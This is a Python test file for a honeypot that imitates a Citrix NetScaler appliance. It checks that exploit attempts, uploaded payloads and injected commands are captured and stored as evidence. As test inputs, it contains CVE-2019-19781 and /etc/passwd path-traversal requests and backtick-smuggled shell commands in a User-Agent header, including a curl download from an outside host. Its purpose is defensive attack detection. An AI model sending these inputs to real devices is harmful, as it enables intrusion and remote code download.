Files

121 lines
6.2 KiB
Python
Raw Permalink Normal View History

"""Run: python3 test_capture.py. Proves every exploit attempt, command and payload is persisted."""
import hashlib
import http.client
import json
import pathlib
import tempfile
import threading
import subprocess
import sys
from unittest.mock import patch
from honeypot import Engine, Server, extract
from evidence import Evidence
def main():
workspace = tempfile.TemporaryDirectory()
evidence = Evidence(workspace.name)
rows = []
def sink(event, **data):
rows.append(dict(event=event, **data))
evidence.emit(event, **data)
engine = Engine(sink, delay=0, save=evidence.save)
server = Server(('127.0.0.1', 0), engine)
thread = threading.Thread(target=server.serve_forever, daemon=True)
thread.start()
def request(method, path, body=None, headers=None):
connection = http.client.HTTPConnection('127.0.0.1', server.server_port, timeout=3)
connection.request(method, path, body=body, headers=headers or {})
response = connection.getresponse()
result = response.status, response.read()
connection.close()
return result
try:
status, response = request('POST', '/nitro/v1/config/login', b'{"login":{"username":"capture-check","password":"inert"}}',
{'Content-Type': 'application/json'})
assert status == 201 and json.loads(response)['login'][0]['sessionid']
auth = {'Cookie': 'NITRO_AUTH_TOKEN=' + json.loads(response)['sessionid']}
assert json.loads(request('GET', '/nitro/v1/stat/system', headers=auth)[1])['system'][0]['cpuusage'] == 2
assert engine.backend is None and engine.fetcher is None
request('GET', '/vpn/../vpns/cfg/smb.conf')
assert any(e['event'] == 'exploit_attempt' and 'CVE-2019-19781' in e['signatures'] for e in rows)
request('GET', '/../../etc/passwd')
assert any(e['event'] == 'exploit_attempt' and 'path-traversal' in e['signatures'] for e in rows)
request('GET', '/flash/nsconfig/ns.conf')
assert any(e['event'] == 'exploit_attempt' and 'config-read' in e['signatures'] for e in rows)
payload = b'\x00\x01MZ-inert-capture-test\xff\xfe' * 100
request('PUT', '/dropper.bin', payload, {'Content-Type': 'application/octet-stream'})
digest = hashlib.sha256(payload).hexdigest()
assert (pathlib.Path(workspace.name) / 'artifacts' / (digest + '.bin')).read_bytes() == payload
upload = next(e for e in rows if e['event'] == 'upload_or_raw_payload' and e['evidence']['sha256'] == digest)
assert upload['evidence'] == {'sha256': digest, 'bytes': len(payload), 'artifact': 'artifacts/' + digest + '.bin'}
assert extract('pitboss PPE unexpectedly died NSPPE;:`curl http://198.51.100.9/a.sh -o /tmp/a`;# X') \
== 'curl http://198.51.100.9/a.sh -o /tmp/a'
value = 'pitboss PPE unexpectedly died NSPPE;:`id>/netscaler/ns_gui/cap.txt`;# X'
request('GET', '/', headers={'User-Agent': value})
candidate = next(e for e in reversed(rows) if e['event'] == 'injection_candidate')
assert candidate['command'] == 'id>/netscaler/ns_gui/cap.txt'
engine.tick()
run = next(e for e in rows if e['event'] == 'simulated_command' and e.get('output', '').startswith('uid='))
assert run['argv'] == ['id', '>', '/netscaler/ns_gui/cap.txt'] and run['cwd']
assert any(e['event'] == 'virtual_file_write' for e in rows)
journal = [json.loads(line) for line in (pathlib.Path(workspace.name) / 'events.jsonl').read_text().splitlines()]
kinds = {e['event'] for e in journal}
assert {'exploit_attempt', 'upload_or_raw_payload', 'request_body', 'injection_candidate',
'simulated_command', 'virtual_file_write'} <= kinds
# Interrupted writes never publish a partial file under a full-content hash.
with patch('evidence.os.fsync', side_effect=OSError('simulated disk failure')):
try:
evidence.save(b'interrupted-file')
raise AssertionError('storage failure was ignored')
except OSError:
pass
assert not (evidence.artifacts / (hashlib.sha256(b'interrupted-file').hexdigest() + '.bin')).exists()
assert not list(evidence.artifacts.glob('.capture-*'))
interrupted = pathlib.Path(workspace.name) / 'interrupted-journal'
interrupted.mkdir()
(interrupted / 'events.jsonl').write_bytes(b'{"interrupted":')
repaired = Evidence(interrupted)
try:
repaired.emit('after_restart')
lines = (interrupted / 'events.jsonl').read_bytes().splitlines()
assert lines[0] == b'{"interrupted":'
assert json.loads(lines[1])['event'] == 'after_restart'
finally:
repaired.close()
# A capture failure survives process restart and cannot be bypassed by systemd.
server.stop_capture(OSError('simulated quota exhaustion'))
assert (evidence.directory / 'STOP').exists()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--log-dir', workspace.name, '--port', '0'], capture_output=True, timeout=5)
assert result.returncode == 78 and b'STOP latch' in result.stderr
full = pathlib.Path(workspace.name) / 'full-at-start'
store = Evidence(full, quota=1024*1024)
store.save(b'x'*(1024*1024))
store.close()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--simulation-only', '--log-dir', str(full), '--evidence-mib', '1', '--port', '0'],
capture_output=True, timeout=5)
assert result.returncode == 78 and (full / 'STOP').exists()
result = subprocess.run([sys.executable, str(pathlib.Path(__file__).parent / 'honeypot.py'),
'--simulation-only', '--fetch-payloads'], capture_output=True, timeout=5)
assert result.returncode == 2
finally:
server.shutdown()
server.server_close()
thread.join(3)
evidence.close()
workspace.cleanup()
print('PASS: exploit attempts, exact payload bytes and simulated commands are all persisted')
if __name__ == '__main__':
main()